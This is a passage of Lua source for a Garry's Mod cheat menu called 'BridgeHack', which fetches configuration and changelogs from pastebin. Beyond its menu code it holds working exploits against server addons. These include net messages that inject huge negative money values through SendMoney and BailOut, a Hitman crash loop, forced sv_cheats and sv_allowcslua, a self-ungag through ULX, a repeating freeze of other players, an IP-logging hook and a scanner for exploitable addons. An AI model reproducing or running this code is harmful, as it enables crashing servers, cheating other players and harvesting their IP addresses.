message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPR(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,0,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPG(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(0,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0aqueries=1;\x09\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=jfuCra2J\",function(body, len, headers, code)\x0a\x0a\x09serverlist = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=Ax9WQ5y7\",function(body, len, headers, code)\x0a\x0a\x09changelogs = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x09\x0a\x0afunction printchange()\x0a\x0a\x09consoleP(\"\"..changelogs..\"\")\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_logs\", printchange)\x0a\x0a\x0a\x0a--[[\x0a\x0a\x0a\x0a\x09\x09PASTEBIN\x0a\x0a\x09\x09\x0a\x0a\x09\x09CHECK\x0a\x0a\x0a\x0a\x0a\x0a]]--\x0a\x0alocal StringM8 = \"I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!\"\x0a\x0a\x0a\x0afunction CheckPastebin()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=gy2HeVgB\",function(body, len, headers, code)\x0a\x0a\x09\x09bintext = body\x0a\x0a\x09\x09local stringbin = ( tostring( bintext ))\x0a\x0a\x09\x09if (StringM8 == stringbin) then\x0a\x0a\x09\x09\x09consoleP(\"Connection to PasteBin is good!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09pastecheck = 1\x0a\x0a\x09\x09\x09chatP(\"Connection to PasteBin is broken!\")\x0a\x0a\x09\x09\x09chatP(\"BridgeHack needs PasteBin to properly work!\")\x0a\x0a\x09\x09end end) end\x0a\x0a--[[\x0a\x0a~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~\x0a\x0a --]] \x0a\x0afunction VersionCheck()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=xcTwfJY7\",function( HTML ) \x0a\x0a\x09local findpos = string.find( HTML, \"CVERSION =\", 0, false )\x09\x0a\x0a\x09if (findpos) then\x0a\x0a\x09\x09local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )\x0a\x0a\x09\x09if (pastecheck == 1) then\x0a\x0a\x09\x09\x09chatP(\"Can't check for newer versions because PasteBin is unaccessable!\")\x0a\x0a\x09\x09elseif ( version > dversion ) then\x0a\x0a\x09\x09\x09outdated = 1\x0a\x0a\x09\x09\x09chatP(\"Your version is out of date!\" )\x0a\x0a\x09\x09elseif ( version == dversion ) then\x0a\x0a\x09\x09\x09chatP(\"Your version is up to date.\" )\x0a\x0a\x09\x09elseif (version < dversion) then\x0a\x0a\x09\x09\x09devbuild = 1\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09chatP(\"Error checking versions!\")\x0a\x0a\x09\x09end end end) end\x0a\x0aVersionCheck()\x0a\x0a\x0a\x0a/*\x0a\x0a\x09About Menu\x0a\x0a\x09\x0a\x0a\x09Woo, learn about us.\x0a\x0a\x0a\x0a*/\x0a\x0afunction AboutMenu()\x0a\x0a\x09local frame = vgui.Create(\"DFrame\")\x0a\x0a\x09\x09frame:SetSize( ScrW(), ScrH() )\x0a\x0a\x09\x09frame:SetPos( 0,0 )\x0a\x0a\x09\x09frame:SetVisible( true )\x0a\x0a\x09\x09frame:SetDraggable( false )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09frame.Paint = function(s,w,h)\x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,0,0,200) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,230,255,150) )\x0a\x0a\x09\x09\x09surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )\x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255)\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupHFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/5 , ScrH()/10 )\x0a\x0a\x09\x09\x09surface.DrawText(\"About BridgeHack\")\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.5)\x0a\x0a\x09\x09\x09surface.DrawText(\"BridgeHack, made by the Hax R' Us team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.4 )\x0a\x0a\x09\x09\x09surface.DrawText(\"If we haven't said it enough, we'll say it again...\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.3 )\x0a\x0a\x09\x09\x09surface.DrawText(\"The Hax R' Us team has worked VERY hard on this menu.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.2 )\x0a\x0a\x09\x09\x09surface.DrawText(\"We LOVE feedback, so please, take the time and send an email to team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.1 )\x0a\x0a\x09\x09\x09surface.DrawText(\"haxrus1337@gmail.com\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.0 )\x0a\x0a\x09\x09\x09surface.DrawText(\"Tell us what you think of the menu.\")\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09button:SetSize(110,32.5)\x0a\x0a\x09\x09button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)\x0a\x0a\x09\x09button:SetText(\"\")\x0a\x0a\x09\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09\x09end\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0a/*\x0a\x0a\x0a\x0a\x09\x09\x09GUYS ITS FINALLY HERE!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09\x09BridgeHack WELCOME SCREEN!!!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09button = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09button:SetSize(110,32.5)\x0a\x0a\x09button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09button:SetText(\"\")\x0a\x0a\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09logbutton:SetSize(110,32.5)\x0a\x0a\x09logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09logbutton:SetText(\"\")\x0a\x0a\x09logbutton.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,170,181) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(10,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Change Logs\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09ChangeLogMenu()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_welcome\", WelcomeScreen, SVersionCheck)\x0a\x0a\x09\x0a\x0a--\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09Version Menu It Looks PURDY\x0a\x0a\x0a\x0afunction ChangeLogMenu()\x0a\x0a\x09local Panel = vgui.Create( \"DFrame\" )\x0a\x0a\x09Panel:SetSize( 800, 600 )\x0a\x0a\x09Panel:SetPos( ScrW(),ScrH() )\x0a\x0a\x09Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8\x0a\x0a\x09Panel:SetTitle( \"\" )\x0a\x0a\x09Panel:MakePopup()\x0a\x0a\x09Panel:ShowCloseButton( false )\x0a\x0a\x09function Panel:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack ChangeLogs\", \"Default\", 6, 15, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", Panel)\x0a\x0a\x09\x09Button:SetPos( 740, 10 )\x0a\x0a\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09Panel:Close()\x0a\x0a\x09\x09end\x09\x0a\x0a\x09\x0a\x0a\x09local Label = vgui.Create( \"DLabel\", Panel )\x0a\x0a\x09Label:SetColor( Color( 255, 255, 255, 255 ) )\x0a\x0a\x09Label:SetFont( \"DermaLarge\" )\x0a\x0a\x09\x0a\x0a\x09if outdated == 1 then\x0a\x0a\x09Label:SetText( \"Your version \" ..dlversion..\" is outdated!\" )\x0a\x0a\x09Label:SetTextColor( Color( 255,0,0 ) )\x0a\x0a\x09elseif outdated == 0 then\x0a\x0a\x09Label:SetText( \"Your version \"..dlversion..\" is up to date!\" )\x0a\x0a\x09Label:SetTextColor( Color( 0,255,0 ) )\x0a\x0a\x09else\x0a\x0a\x09Label:SetText(\"Error receving version information!\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09Label:SizeToContents()\x0a\x0a\x09Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )\x0a\x0a\x09\x0a\x0a\x09local HTML = vgui.Create( \"HTML\", Panel )\x0a\x0a\x09HTML:OpenURL( \"http:/pastebin.com/raw.php?i=Ax9WQ5y7\" )\x0a\x0a\x09HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )\x0a\x0a\x09HTML:SetPos( 25, 100 )\x0a\x0a\x09HTML.Paint = function()\x0a\x0a\x09\x09surface.SetDrawColor( Color( 160, 160, 160) )\x0a\x0a\x09\x09surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )\x0a\x0a\x09end end\x0a\x0a/*\x09\x0a\x0a\x0a\x0a\x09\x0a\x0a\x09\x09\x09\x09END MENU\x0a\x0a\x09\x0a\x0a\x0a\x0a*/\x09\x0a\x0alocal randomvar = math.Rand(0,9999999)\x0a\x0alocal BridgeHack = {}\x0a\x0aBridgeHack.RandomVar = randomvar\x0a\x0alocal sweg = LocalPlayer():GetEyeTrace().Entity\x0a\x0alocal ply = LocalPlayer()\x0a\x0aply:ConCommand(\"bh_welcome\")\x0a\x0atimer.Destroy(\"changecolor\")\x0a\x0a\x0a\x0aqueries=1;\x0a\x0afunction status(statu)-- Made for debugging things.\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09if GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawcurrent\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 255,255,255 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 25 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[\" .. queries .. \" Total Requests] STATUS: \" .. statu )\x0a\x0a\x09\x09end) end\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_chat_status\") == 1 then\x0a\x0a\x09\x09chat.AddText(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), statu)\x0a\x0a\x09end end\x0a\x0a\x0a\x0afunction Debug(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(155, 89, 182), \"[ BridgeHack]: \", Color(255,255,255), message)\x0a\x0aend\x0a\x0a\x0a\x0alocal function CreateCvar(cvar, value)\x0a\x0a\x09CreateClientConVar(cvar, value)\x0a\x0a\x09consoleP(\"CVAR: \" .. cvar .. \" set to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0alocal function ResetCvar(cvar, value)\x0a\x0a\x09ply:ConCommand(\"\" .. cvar .. \" \" .. value)\x0a\x0a\x09Debug(\"CVAR: \" .. cvar .. \" reset to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0aCheckPastebin()\x0a\x0aCreateCvar(\"bh_notify\", 1)\x0a\x0aCreateCvar(\"bh_ulxgag\", 1, true, false)\x0a\x0aCreateCvar(\"bh_playsound\",1)\x0a\x0aCreateCvar(\"bh_hitmenuammount\",0)\x0a\x0aCreateCvar(\"bh_menu_effects\", 1)\x0a\x0aCreateCvar(\"bh_firstload_correct\", 1)\x0a\x0aCreateCvar(\"bh_chat_status\", 0)\x0a\x0aCreateCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_showhud\", 0)\x0a\x0aCreateCvar(\"bh_esp\",0)\x0a\x0aCreateCvar(\"bh_esp_box\",1)\x0a\x0aCreateCvar(\"bh_debug\",0)\x0a\x0aCreateCvar(\"bh_esp_hp\",1)\x0a\x0aCreateCvar(\"bh_esp_rank\",1)\x0a\x0aCreateCvar(\"bh_renderdistance_enable\",0)\x0a\x0aCreateCvar(\"bh_esp_rdistance\",2000)\x0a\x0aCreateCvar(\"bh_esp_infocolor_r\",255)\x0a\x0aCreateCvar(\"bh_esp_infocolor_g\",0)\x0a\x0aCreateCvar(\"bh_esp_infocolor_b\",255)\x0a\x0aCreateCvar(\"bh_ratm_money2give\",100000)\x0a\x0a\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_firstload_correct\") == 1 then\x0a\x0a\x09Derma_Message( \"Welcome \" .. ply:Nick() .. \", We see its your first time launching BridgeHack on your SteamID (\" .. ply:SteamID() .. \")\\nHow do I open the menu?\\nSimply do this bind in console bind KEY +bh_menu\\nThanks for purchasing BridgeHack, Enjoy\\nBridgeHack Hack (HaxRUs)\", \"Welcome to BridgeHack \" .. ply:Nick() .. \"!\", \"Click me to continue\" )\x0a\x0a\x09ply:ConCommand(\"bh_firstload_correct 0\")\x0a\x0a\x09chatP(\"Welcome to the world of BridgeHack.\")\x0a\x0a\x09\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_cheats_enabled_on_start\") == 1 then\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_cheats to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0aif GetConVarNumber(\"bh_cheats_svlua_enabled_on_start\") == 1 then\x0a\x0a\x09\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_allowcslua to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0a/ FIXES \x0a\x0alocal oChatAddText = chat.AddText\x0a\x0a\x0a\x0afunction chat.AddText( ... )\x0a\x0a\x09local cArgs = { ... };\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x0a\x0a\x09for k, v in pairs( cArgs ) do\x0a\x0a\x09\x09if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine\x0a\x0a\x09\x09\x09print(\"BLOCKED STRING CRASH len[\" .. string.len(v) .. \"]\"); \x0a\x0a\x09\x09\x09return false;\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09return oChatAddText( ... );\x0a\x0aend\x0a\x0a\x0a\x0a---------------------------------------/ Global timers /---------------------------------------\x0a\x0aif GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawcursor\", function()\x0a\x0a\x09\x09local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255) \x0a\x0a\x09\x09surface.SetDrawColor(c)\x0a\x0a\x09\x09surface.DrawLine(x - 10, y, x - 5, y)\x0a\x0a\x09\x09surface.DrawLine(x, y + 5, x, y + 10)\x0a\x0a\x09\x09surface.DrawLine(x + 10, y, x + 5, y)\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawabout\", function()\x0a\x0a\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09surface.SetTextColor( 46, 204, 113 )\x0a\x0a\x09\x09surface.SetTextPos( 25, 15 ) \x0a\x0a\x09\x09surface.DrawText( \"BridgeHack \" .. dlversion )\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_debug\") > 0 then \x0a\x0a\x09\x09if system.IsWindows( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev1\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsLinux( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev2\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Linux\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsOSX( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev3\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: OSX\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev4\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev5\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 57 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Location: \" .. system.GetCountry( ) .. \"\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev6\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 67 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Connection Time: \" .. system.AppTime( ) .. \" Seconds\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09end\x0a\x0aend\x0a\x0a\x09\x0a\x0astatus(\"Starting\")\x0a\x0astatus(\"BridgeHack Loaded\")\x0a\x0a\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x0a\x0a\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09consoleP(v:GetUserGroup()..\": \" .. v:Nick() .. \" - \" .. v:SteamID() .. \" - $\" .. playermoney)\x0a\x0a\x09end\x0a\x0aconsoleP(\"BridgeHack, by HaxRUs\")\x0a\x0aconsoleP(dlversion)\x0a\x0a\x0a\x0a/ FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a/ CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxcrash\", function ( ply )\x0a\x0afor i=0,300 do\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxinfa\", function ( ply )\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmancrash\",function()\x0a\x0a\x09for i=0,5000 do\x0a\x0a\x09\x09ply:ConCommand('addhit \"'..ply:Nick()..'\" 500')\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ulxgag\",function()\x0a\x0a\x09\x09if(ulx and ulx.gagUser) then\x0a\x0a\x09\x09\x09if GetConVarNumber(\"bh_ulxgag\") == 1 then\x0a\x0a\x09\x09\x09\x09ulx.gagUser(LocalPlayer(),false)\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_antiaim\",function()\x0a\x0a\x09hook.Add(\"CreateMove\",function(cmd, u)\x0a\x0a\x09if (LocalPlayer():KeyDown(IN_ATTACK)) then return end\x0a\x0a\x09local aa = cmd:GetViewAngles()\x0a\x0a\x09cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_infinite_all\",function()\x0a\x0a clearcon()\x0a\x0a cleardchat()\x0a\x0a chatP(\"Giving money, He he\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteFloat( -infinite )\x0a\x0a\x09\x09 net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ipsteal\",function()\x0a\x0ahook.Add(\"PlayerConnect\", \"IPStealer\", function(name, ip)\x0a\x0a\x09file.Append(\"ips.txt\", name .. \" - \" .. ip .. \"\\n\")\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0alocal nlr = CreateClientConVar(\"bh_nlr_freeze\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function nlrs()\x0a\x0a\x09if nlr:GetBool() then\x0a\x0a\x09\x09for k,v in pairs(player.GetAll())do\x0a\x0a\x09\x09if v != LocalPlayer() then\x0a\x0a\x09\x09\x09net.Start(\"NLR.ActionPlayer\")\x0a\x0a\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09end\x0a\x0atimer.Create(\"nlrs\", 4,0,nlrs)\x0a\x0a\x0a\x0aLastTime = CurTime()\x0a\x0a\x0a\x0afunction drawdatopscreen() \x0a\x0a\x09if GetConVarNumber(\"bh_notify\") > 0 then\x0a\x0a\x09\x0a\x0a\x09\x09sweg = math.Clamp((CurTime()-LastTime)/20,0,1)\x0a\x0a\x09if sweg == 1 then\x0a\x0a\x09\x09LastTime = CurTime()\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09end\x0a\x0aend\x0a\x0ahook.Add( \"HUDPaint\", \"drawdatopscreen\", drawdatopscreen )\x0a\x0a\x0a\x0aconcommand.Add(\"bh_tp_spawn\",function()\x0a\x0a\x09chatP(\"Teleported to spawn!\")\x0a\x0a\x09consoleP(\"Teleported to spawn!\")\x0a\x0a\x09status(\"Teleported to spawn!\")\x0a\x0a\x09net.Start(\"DarkRP_Kun_ForceSpawn\")\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_check\",function()\x0a\x0aclearcon()\x0a\x0acleardchat()\x0a\x0achatP(\"Checking for exploitable addons...\")\x0a\x0aif HIT then\x0a\x0a\x09chatPG(\"Hitman X | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hitman X | Not Found\")\x0a\x0aend\x0a\x0aif HitMenu then\x0a\x0a\x09chatPG(\"Hit Menu | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hit Menu | Not Found\")\x0a\x0aend\x0a\x0aif BAIL then\x0a\x0a\x09chatPG(\"BailNPC | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"BailNPC | Not Found\")\x0a\x0aend\x0a\x0aif dLogs then\x0a\x0a\x09chatPG(\"DLOGS | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"DLOGS | Not Found\")\x0a\x0aend\x0a\x0aif ChanNum then\x0a\x0a\x09chatPG(\"MXRadio| Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MXRadio | Not Found\")\x0a\x0aend\x0a\x0aif VC_Menu_Info_Panel_Build then\x0a\x0a\x09chatPG(\"VCMD | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"VCMD | Not Found\")\x0a\x0aend\x0a\x0aif MDE then\x0a\x0a\x09chatPG(\"MDE | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MDE | Not Found\")\x0a\x0aend\x0a\x0aif NLR then\x0a\x0a\x09chatPG(\"NLR | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"NLR | Not Found\")\x0a\x0aend\x0a\x0aif Warnings_for_kick then\x0a\x0a\x09chatPG(\"ULX Extended | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"ULX Extended | Not Found\")\x0a\x0aend\x0a\x0a\x0a\x0aend)\x09\x0a\x0a\x0a\x0afunction 